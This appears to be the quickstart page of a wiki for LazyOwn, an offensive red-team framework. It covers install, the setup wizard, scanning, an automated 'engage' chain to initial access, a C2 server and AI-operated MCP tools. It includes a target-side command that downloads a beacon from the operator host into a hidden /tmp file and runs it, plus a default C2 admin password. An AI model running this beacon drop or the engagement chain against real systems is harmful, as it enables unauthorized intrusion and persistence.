Repository navigation
Quickstart
Everything you need to go from a fresh clone to an active engagement.
After setup, read ESSENTIALS.md for the 18 commands that cover 80% of engagements.
- Kali Linux / Parrot OS (or any Debian-based distro)
- Python 3.10+
-
git,make,gcc - SecLists at
/usr/share/seclists(or/usr/share/wordlists/SecLists-master)
sudo apt install -y seclists 2>/dev/null || trueFastest path (one-liner: clones into ~/LazyOwn, installs, then asks whether
to start a normal ./run session or the full fast_run_as_r00t.sh stack):
curl -fsSL https://raw.githubusercontent.com/grisuno/LazyOwn/main/bootstrap.sh -o /tmp/bootstrap.sh \
&& bash /tmp/bootstrap.sh(One-command alternative: curl -fsSL https://raw.githubusercontent.com/grisuno/LazyOwn/main/bootstrap.sh | bash.)
If ~/LazyOwn already exists, the installer asks whether to update in place, do a clean reinstall (backing up payload.json to /tmp first), use another directory, or abort. Use --existing update|clean|abort to skip the question in scripts.
With install options and a custom directory:
curl -fsSL https://raw.githubusercontent.com/grisuno/LazyOwn/main/bootstrap.sh | bash -s -- --with-tools --dir ~/pentest/LazyOwnOr step by step:
git clone https://github.com/grisuno/LazyOwn.git
cd LazyOwn
bash install.shinstall.sh creates the virtualenv at env/, installs the pinned Python deps from requirements.txt (runtime-only lock), seeds payload.json from the example, and generates cert.pem / key.pem for the C2. It is idempotent: re-running it updates in place. The default install is light; heavy extras are opt-in:
bash install.sh --with-ml # add the 2 GB torch/CUDA + scikit-learn stack
bash install.sh --with-ollama # add the local Ollama runtime
bash install.sh --with-tools # apt-install gobuster, ffuf, enum4linux, seclists, responder, ...Dependencies are declared once in pyproject.toml and pinned in requirements.txt (cross-platform core) and requirements-ml.txt (optional ML). Developers can instead use pip install -e .[ml,dev].
docker run -it ghcr.io/grisuno/lazyown:latestThe published image ships the framework ready to run — useful to evaluate
LazyOwn or run a throwaway engagement without touching your host Python.
Use bash install.sh on the host for day-to-day work; lazyown-docker/
holds the legacy full-stack compose variant kept for reference.
./runFirst, confirm the install is healthy:
(LazyOwn) > doctor
doctor checks your Python version, virtual environment, the third-party
packages install.sh provisions, the C2 certificates, SecLists, and the
external kill-chain tooling. Blocking failures are shown in red with the exact
pip install / apt install command to fix them; warnings are optional
features you can skip.
Then run the setup wizard. On first launch you will be prompted to run wizard. Accept. The wizard auto-detects your lhost from the routing table, walks you through 7 steps, and writes everything to payload.json.
(LazyOwn) > wizard
Or run the config readiness check without changing anything:
(LazyOwn) > wizard --check
(LazyOwn) > ping # confirm target is alive + detect OS
(LazyOwn) > lazynmap # full port scan → sessions/scan_<rhost>.nmap
(LazyOwn) > auto_populate # parse the scan XML into payload.json context
(LazyOwn) > facts_show # see what was discoveredThat is the core loop. Everything else is built on top of it. For a full
end-to-end example with expected outputs, see the guided walkthrough:
docs/examples/htb-lame-walkthrough.md.
(LazyOwn) > engage # uses rhost, or: engage 10.10.11.5engage drives the same chain automatically — ping/OS detect → nmap →
auto_populate → enum → exploit-search → initial access — auto-switching to the
next tool when a step fails and narrating progress to sessions/engagement.log.
With auto_approve false in payload.json it pauses for your approval before
each gated phase (engage --status to watch, engage --approve <id> to
release). Use the four manual steps above when you want to inspect each result;
reach for engage when you just want a shell.
In a second terminal:
bash fast_run_as_r00t.sh --no-attach --vpn 1Or start it inline from the shell:
(LazyOwn) > lazyc2The C2 starts at https://<lhost>:<c2_port> with the credentials from payload.json (c2_user / c2_pass). The setup wizard auto-rotates the factory CHANGE_ME placeholders into a generated random password — if you skipped the wizard, set your own with assign c2_user <name> and assign c2_pass <strong-password> before exposing the panel. On first boot the RBAC store also creates an initial web admin (admin / LazyOwnAdmin2024!) — change it immediately from the admin users panel.
# Generate and deliver the Go beacon (two-stage, XOR-encoded)
(LazyOwn) > lazymsfvenom
# Or drop the Linux C beacon with BOF support
(LazyOwn) > blacksandbeacon
# Then run on target:
# curl -sk "http://<lhost>:<lport>/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &Once a beacon checks in, manage it from the C2 dashboard at https://<lhost>:<c2_port>.
bash scripts/setup_hermes_mcp.shThen restart Hermes or run /reload-mcp. LazyOwn exposes 153 MCP tools for AI-assisted operation.
See AGENTS.md for the Hermes integration guide.
(LazyOwn) > collab_join alicePrints the team dashboard URL. Everyone connects to https://<lhost>:<c2_port>/collab/?operator=<handle>.
| File | Read when |
|---|---|
ESSENTIALS.md |
You want the 18 core commands (start here after this doc) |
CHEATSHEET.md |
You know the basics and need the next 40 frequent commands |
skills/lazyown.md |
You are operating via MCP (AI operator) |
COMMANDS.md |
You need the full 748-command reference |
CLAUDE.md |
You are developing or extending the framework |
| File | Purpose |
|---|---|
payload.json |
Single source of truth — all config lives here |
sessions/scan_<ip>.nmap |
Nmap output — read before re-scanning |
sessions/world_model.json |
Current phase, discovered hosts, creds |
sessions/credentials*.txt |
Captured credentials |
sessions/LazyOwn_session_report.csv |
Full command history |
wizard can't detect lhost — run ip route and set it manually:
(LazyOwn) > assign lhost 10.10.14.3
C2 TLS errors — regenerate certs:
bash gen_cert.shNmap taking too long — check sessions/scan_<rhost>.nmap first; it may already exist from a previous run. facts_show reads it without rescanning.
Missing SecLists — install with sudo apt install seclists or set dirwordlist manually:
(LazyOwn) > assign dirwordlist /path/to/wordlist.txt
A command fails with MissingDependencyError — a heavy optional package (for
example pycryptodome, python-libnmap, impacket) is not installed. The shell
itself keeps running; only the dependent feature is affected. The error names the
exact pip install command. To list every optional dependency and its status
without launching the shell (useful when the install is so broken that rich or
cmd2 will not import):
python3 -m core.dependenciesThen reinstall everything with pip install -r requirements.txt.
Generated offline by readmenator from commit 146a52570ef7. Edits here are overwritten by readmenator . --rebuild.
Start
Wiki
- community_0_cli_commands
- community_10_modules_opsec_scorer
- community_11_modules_finding_lifecycle
- community_12_modules_kerberos_core
- community_13_modules_saas_attacks
- community_14_modules_polymorphic_engine
- community_15_contrib_legacy
- community_16_scripts_journal
- community_17_modules_backdoor
- community_18_poc_tui
- community_19_scripts_check_contract_manifest
- community_1_modules_lazyc2
- community_20_scripts_migrate_lazyown
- community_21_tools
- community_22_orphans
- community_2_cli
- community_3_modules_autonomous_daemon
- community_4_modules_lazy_loop
- community_5_lazygui_panels
- community_6_skills_claude_md_orchestrator
- community_7_static_js
- community_8_modules_llm_budget
- community_9_modules_atomic_exploit_bridge
- concepts
- queries
- REPORT
Agent Docs
- API
- API_p10
- API_p11
- API_p12
- API_p13
- API_p14
- API_p15
- API_p16
- API_p17
- API_p18
- API_p19
- API_p2
- API_p20
- API_p21
- API_p22
- API_p23
- API_p3
- API_p4
- API_p5
- API_p6
- API_p7
- API_p8
- API_p9
- ARCHITECTURE
- ARCHITECTURE_p2
- ARCHITECTURE_p3
- ARCHITECTURE_p4
- ARCHITECTURE_p5
- ARCHITECTURE_p6
- ARCHITECTURE_p7
- CONCEPTS
- GOTCHAS
- INDEX
- INDEX_p2
- INDEX_p3
- KB_backdoor
- KB_blueprints
- KB_cgi-bin
- KB_claude_md_orchestrator
- KB_cli
- KB_cli_p2
- KB_cli_p3
- KB_cli_p4
- KB_cli_p5
- KB_commands
- KB_commands_p2
- KB_commands_p3
- KB_commands_p4
- KB_config
- KB_contract
- KB_core
- KB_core_p2
- KB_devtools
- KB_extensions
- KB_hermes-lazyown
- KB_integrations
- KB_js
- KB_js_p2
- KB_js_p3
- KB_js_p4
- KB_lazyc2
- KB_lazygui
- KB_lazyown-docker
- KB_legacy
- KB_legacy_p2
- KB_misc
- KB_modules
- KB_modules_p10
- KB_modules_p11
- KB_modules_p12
- KB_modules_p13
- KB_modules_p14
- KB_modules_p2
- KB_modules_p3
- KB_modules_p4
- KB_modules_p5
- KB_modules_p6
- KB_modules_p7
- KB_modules_p8
- KB_modules_p9
- KB_modules_tools
- KB_palettes
- KB_panels
- KB_plugins
- KB_poc_tui
- KB_root
- KB_root_p2
- KB_rootkit
- KB_scripts
- KB_security
- KB_services
- KB_skills
- KB_skills_claude_md_orchestrator_tests
- KB_skills_p2
- KB_skills_p3
- KB_skills_p4
- KB_skills_p5
- KB_skills_tests
- KB_tests
- KB_tests_p10
- KB_tests_p11
- KB_tests_p12
- KB_tests_p13
- KB_tests_p14
- KB_tests_p15
- KB_tests_p16
- KB_tests_p17
- KB_tests_p2
- KB_tests_p3
- KB_tests_p4
- KB_tests_p5
- KB_tests_p6
- KB_tests_p7
- KB_tests_p8
- KB_tests_p9
- KB_theme
- KB_tools
- KB_widgets
- KB_win_rootkit
- KB_windows
- MEMORY
- SECURITY
- SYMBOLS
- SYMBOLS_p10
- SYMBOLS_p11
- SYMBOLS_p12
- SYMBOLS_p13
- SYMBOLS_p14
- SYMBOLS_p15
- SYMBOLS_p16
- SYMBOLS_p17
- SYMBOLS_p18
- SYMBOLS_p19
- SYMBOLS_p2
- SYMBOLS_p20
- SYMBOLS_p21
- SYMBOLS_p22
- SYMBOLS_p23
- SYMBOLS_p24
- SYMBOLS_p25
- SYMBOLS_p26
- SYMBOLS_p27
- SYMBOLS_p28
- SYMBOLS_p29
- SYMBOLS_p3
- SYMBOLS_p30
- SYMBOLS_p31
- SYMBOLS_p32
- SYMBOLS_p33
- SYMBOLS_p34
- SYMBOLS_p35
- SYMBOLS_p36
- SYMBOLS_p37
- SYMBOLS_p38
- SYMBOLS_p39
- SYMBOLS_p4
- SYMBOLS_p40
- SYMBOLS_p41
- SYMBOLS_p5
- SYMBOLS_p6
- SYMBOLS_p7
- SYMBOLS_p8
- SYMBOLS_p9
Recipes